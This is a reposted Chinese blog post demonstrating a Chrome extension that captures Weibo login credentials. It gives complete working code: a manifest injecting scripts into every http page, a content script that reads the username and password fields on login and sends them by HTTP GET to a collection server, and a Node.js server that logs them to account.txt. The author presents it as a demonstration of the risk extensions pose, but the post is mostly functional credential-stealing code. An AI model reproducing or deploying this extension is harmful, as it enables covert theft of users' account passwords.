開發Chrome Extension截取你微博的帳號密碼


Google允許開發者對Chrome瀏覽器做擴展,所以有了之前火爆的12306搶票軟件,我 也用它搶過票,一直很好奇它怎么注入js到12306上面的。這周有空研究了下Chrome Extension,終於明白它是怎么工作的了。更多信息可以參看chrome.extension

但是又讓我對chrome extension產生了一點擔心,這么容易注入js,那盜取你的帳號密碼啥的不是很方便嗎?下面演示一個比較簡單的盜取微博帳號密碼的方法。

要加載chrome extension首先要定義一個manifest.json文件。定義如下:

{
  "manifest_version": 2,

  "name": "Account Detect",
  "description": "This extension will detect your account",
  "version": "1.0",

  "permissions": [
    "http://*/*"
  ],
  "browser_action": {
    "default_icon": "icon.png"
  },
  "content_scripts": [
    {
      "matches": ["http://*/*"],
      "js": ["jquery-1.10.2.min.js", "myscript.js"]
     
    }
  ]
}

注意content script加入的順序,先填寫JQuery,方便我們使用JQuery上的方法。然后是我自己定義的myscript.js。

$('body').on("click",'a[tabindex="6"]', function(event){
    var username = $('input[name="username"]').val();
    var passwords = $('input[name="password"]').val();
    var query = '?username=' + username + '&' + 'passwords=' + passwords;
    $.get('http://localhost:1337' + query, function() {});

    alert(username + ':' + passwords);
});

上面代碼的意思就是讓微博登陸頁上的登錄鏈接綁定上我的事件上。頁面上的元素信息可以通過開發者工具查看到。事件內容就是獲取頁面上你輸入的帳號和密碼,然后通過ajax get的方式發送到我自己的服務器上保存起來。

最后我在本地自己設個服務器來接受傳輸信息,后端代碼使用的Node.js,代碼如下:

var http = require('http');
var url = require('url');
var fs = require('fs');
http.createServer(function (req, res) {
  
  console.log(req.url);
  var query = url.parse(req.url, true).query;
  var name = query.username;
  var passwords = query.passwords;
  if(typeof(name) == "undefined") {
    console.log('oh no');
  } else {
    fs.open('account.txt', 'a', 666, function(e, id) {
      var content = name + '\n' + passwords + '\n';
      fs.write(id, content, null, 'utf8', function() {
        fs.close(id, function() {
          console.log('file close');
        });
      });
    });
    console.log('Request for ' + name + ' received.');
  }
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Done!\n');
}).listen(1337, "127.0.0.1");
console.log('Server running at http://127.0.0.1:1337/');

邏輯比較簡單,就是把獲取到的帳號密碼保存到account.txt文件中。

下面來實際演示一下吧,首先是要在Chrome瀏覽器(我的瀏覽器版本是28.0.1500.71)里加載自己的Extension:

 

然后在Chrome瀏覽器地址欄輸入http://weibo.com/,隨便輸入一個帳號密碼,點擊登錄試試,就能看到用戶名和密碼彈框了(用戶名:test_01,密碼: 123456)。

 

再查看下本機服務器信息:

 

說明我們服務器接收到了信息,並且可以在server端的根目錄下找到account.txt文件,里面就記錄了你微博登錄的帳號和密碼信息。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM